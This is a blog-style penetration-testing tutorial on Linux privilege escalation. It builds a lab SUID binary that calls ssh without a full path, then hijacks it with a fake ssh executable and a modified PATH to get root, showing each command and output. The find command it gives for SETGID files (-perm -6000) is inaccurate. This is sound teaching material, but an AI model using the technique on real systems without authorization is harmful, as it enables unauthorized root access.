/ penetration testing

Exploiting SETUID and SETGID binaries

How SETUID/SETGID works

SETUID and SETGID are special permission attributes in Unix and Unix-like systems, they allow unprivileged users to run programs with elevated privileges (the privileges of who created the program).
With setuid we can run things as the user who created them.
With setgid we can run things as if we where in the group of who created them.
The most notable example of setuid program is 'sudo':

vagrant@vagrant-ubuntu-trusty-64:~$ which sudo
/usr/bin/sudo
vagrant@vagrant-ubuntu-trusty-64:~$ ls -l /usr/bin/sudo
-rwsr-xr-x 1 root root 155008 May 29  2017 /usr/bin/sudo

The 's' in the user permission group means that the binary sudo has the SUID bit enabled.
Since root created 'sudo', if we execute sudo (if we are able to do that) we gain root privileges.
...and that's incredibly exactly how sudo works.

Just a side note, when a SUID/SGID binary makes a syscall like 'system' (or equivalent) the kernel drops the privileges of the program to the one specified in EUID or Effective User ID, that means that if the program makes a syscall like system, the effective privileges are the one of the user that executed the binary (in this scenario, an unprivileged user).
Luckly we can restore the SETUID/SETGID privileges using the setuid or setgid syscalls.

How to find SETUID/SETGID files

Finding SETUID/SETGID binaries is easy:

SETUID:

vagrant@vagrant-ubuntu-trusty-64:~$ find / -user root -perm -4000 -exec ls -ld {} \; > setuid

SETGID:

vagrant@vagrant-ubuntu-trusty-64:~$ find / -user root -perm -6000 -exec ls -ld {} \; > setgid

Checking the vulnerability

Let's create an executable for the purpose of this example and call it 'scp'.

vagrant@vagrant-ubuntu-trusty-64:~$ cat scp.c 
int main(int argc, char **argv) {
	system("ssh lol@lol.it");
	return 0;
}
vagrant@vagrant-ubuntu-trusty-64:~$ gcc scp.c -o scp

and change its permissions in order to add the SETUID bit and chown to root:

vagrant@vagrant-ubuntu-trusty-64:~$ sudo chown root:root scp
vagrant@vagrant-ubuntu-trusty-64:~$ sudo chmod u+s scp
vagrant@vagrant-ubuntu-trusty-64:~$ ls -l scp
-rwsrwxr-x 1 root root 8519 Jan 18 08:44 scp

NOTE: u+s means SETUID (user + s), if we use g+s we set SETGID (group + s)

Now let's assume that we are a normal user (vagrant) with no admin permissions and we step into this binary with SETUID permission, how can we check is we can easly exploit it in order to gain root privileges?
Using the debugger ltrace we can see that the binary use the 'system' syscall and the command/binary inside the call is without a path:

vagrant@vagrant-ubuntu-trusty-64:~$ ltrace scp
__libc_start_main(0x40052d, 1, 0x7ffcf4655668, 0x400560 <unfinished ...>
system("ssh lol@lol.it"uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
vagrant
 <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                   = 0
+++ exited (status 0) +++

See? The scp executable calls ssh without specifing the path (well, we obviously know that because we built the binary)
Now, enough talk, let's exploit it.

The exploit

What we need to do in order to exploit this vulnerability?

  • Create a fake binary called ssh that execute malicious actions
  • Set the PATH variable accordingly to when the 'scp' binary calls ssh, they call OUR ssh executable

First things first, let's create an executable file called ssh:

vagrant@vagrant-ubuntu-trusty-64:~$ cat ssh.c 
int main(int argc, char **argv) {
	setuid(0);
	system("id && whoami");
	return 0;
}
vagrant@vagrant-ubuntu-trusty-64:~$ gcc ssh.c -o ssh
vagrant@vagrant-ubuntu-trusty-64:~$ chmod +x ssh
vagrant@vagrant-ubuntu-trusty-64:~$ ls -l ssh
-rwxrwxr-x 1 vagrant vagrant 8571 Jan 18 09:03 ssh

The ssh executable does nothing malicious, it just set the suid to 0 (privileges gets dropped to EUID when execuing, so we have to restore it) and exec the whoami and id commands in order to have a visual confirm of the successful exploitation.

NOTE: We can't make a pretty script that does the same as our executable, the script privileges are always droppped to EUID, stick to C

Now everything that we have to do is set the PATH variable so that our ssh executable gets called instead of the real one, we do this by appending a . (dot) at the beginning of the PATH variable

NOTE: this is a VERY POOR practice and leads to another kind of privilege escalation, use carefully and don't get hacked while hacking.

vagrant@vagrant-ubuntu-trusty-64:~$ PATH=.:${PATH}
vagrant@vagrant-ubuntu-trusty-64:~$ export PATH
vagrant@vagrant-ubuntu-trusty-64:~$ echo $PATH
 .:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games # See the dot at the beginning?

Everything is ready, let's execute the scp binary and see what happens:

vagrant@vagrant-ubuntu-trusty-64:~$ scp
uid=0(root) gid=1000(vagrant) groups=0(root),1000(vagrant)
root

Easy win.

References

YouTube Linux Privesc by Jake Williams

Exploiting known SETUID and SETGID binaries